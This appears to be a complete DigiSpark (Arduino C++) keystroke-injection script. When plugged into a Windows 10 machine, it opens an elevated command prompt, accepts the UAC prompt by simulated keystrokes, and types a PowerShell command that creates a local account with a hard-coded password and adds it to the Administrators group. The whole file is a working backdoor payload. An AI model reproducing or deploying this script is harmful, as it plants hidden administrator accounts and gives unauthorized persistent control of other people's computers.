27 lines
1013 B
C++
27 lines
1013 B
C++
//This DigiSpark script creates new local user and adds it to "Administrators" group
|
|
//Tested on Windows 10 with English(US) keyboard layout
|
|
//Created by Michyus
|
|
#include "DigiKeyboard.h"
|
|
void setup() {
|
|
}
|
|
|
|
void loop() {
|
|
DigiKeyboard.sendKeyStroke(0);
|
|
DigiKeyboard.delay(500);
|
|
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
|
|
DigiKeyboard.delay(500);
|
|
DigiKeyboard.print("cmd");
|
|
DigiKeyboard.sendKeyStroke(KEY_ENTER, MOD_CONTROL_LEFT + MOD_SHIFT_LEFT);
|
|
DigiKeyboard.delay(1000);
|
|
DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT);
|
|
DigiKeyboard.delay(1000);
|
|
DigiKeyboard.sendKeyStroke(KEY_ENTER);
|
|
DigiKeyboard.delay(1000);
|
|
DigiKeyboard.print(F("powershell $pass = ConvertTo-SecureString \"P@ssW0rD\" -AsPlainText -Force; New-LocalUser \"accName\" -Password $pass; Add-LocalGroupMember -Group \"Administrators\" -Member \"accName\" "));
|
|
DigiKeyboard.sendKeyStroke(KEY_ENTER);
|
|
DigiKeyboard.delay(500);
|
|
DigiKeyboard.print("exit");
|
|
DigiKeyboard.sendKeyStroke(KEY_ENTER);
|
|
for(;;){ /*empty*/ }
|
|
}
|